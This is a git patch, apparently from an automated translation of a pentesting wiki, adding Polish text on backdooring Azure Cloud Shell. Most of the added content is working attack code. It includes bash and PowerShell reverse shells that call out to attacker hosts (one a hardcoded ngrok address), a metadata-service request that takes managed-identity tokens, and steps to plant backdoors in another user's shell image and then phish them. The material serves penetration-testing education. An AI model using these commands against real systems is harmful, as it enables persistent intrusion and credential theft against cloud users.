From b86042a6cacf061287f828a6cb2ad48f30760b97 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Mon, 12 May 2025 19:26:09 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

---
 .../az-cloud-shell-persistence.md             | 43 +++++++++++++++++--
 1 file changed, 40 insertions(+), 3 deletions(-)

diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
index c470b9981..4d69aff5b 100644
--- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
@@ -7,16 +7,53 @@
 Azure Cloud Shell oferuje dostęp do wiersza poleceń w celu zarządzania zasobami Azure z persistent storage i automatyczną autoryzacją. Atakujący mogą to wykorzystać, umieszczając backdoory w persistent home directory:
 
 * **Persistent Storage**: Katalog domowy Azure Cloud Shell jest zamontowany na udostępnionym pliku Azure i pozostaje nienaruszony nawet po zakończeniu sesji.
-* **Startup Scripts**: Pliki takie jak .bashrc wykonują się automatycznie na początku każdej sesji, co pozwala na persistent execution, gdy cloud shell się uruchamia.
+* **Startup Scripts**: Pliki takie jak `.bashrc` lub `config/PowerShell/Microsoft.PowerShell_profile.ps1` są automatycznie wykonywane na początku każdej sesji, co pozwala na persistent execution, gdy cloud shell się uruchamia.
 
 Example backdoor in .bashrc:
 ```bash
-echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
+echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
 ```
-Ten backdoor może wykonywać polecenia nawet 5 minut po zakończeniu sesji chmurowej przez użytkownika.
+Ten backdoor może wykonywać polecenia nawet 5 minut po zakończeniu sesji chmury przez użytkownika.
 
 Dodatkowo zapytaj o usługi metadanych Azure w celu uzyskania szczegółów instancji i tokenów:
 ```bash
 curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
 ```
+### Cloud Shell Phishing
+
+Jeśli atakujący znajdzie obrazy innych użytkowników w koncie Storage, do którego ma dostęp do zapisu i odczytu, będzie mógł pobrać obraz, **dodać do niego backdoora w bash i PS** oraz przesłać go z powrotem do konta Storage, aby następnym razem, gdy użytkownik uzyska dostęp do powłoki, **polecenia były automatycznie wykonywane**.
+
+- **Pobierz, dodaj backdoora i przesłać obraz:**
+```bash
+# Download image
+mkdir /tmp/phishing_img
+az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>
+
+# Mount the image
+mkdir /tmp/backdoor_img
+sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
+cd /tmp/backdoor_img
+
+# Create backdoor
+mkdir .config
+mkdir .config/PowerShell
+touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
+chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
+
+# Bash backdoor
+echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
+
+# PS backdoor
+echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
+
+# Unmount
+cd /tmp
+sudo umount /tmp/backdoor_img
+
+# Upload image
+az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
+```
+- **Następnie, phishinguj użytkownika, aby uzyskać dostęp do https://shell.azure.com/**
+
+
 {{#include ../../../banners/hacktricks-training.md}}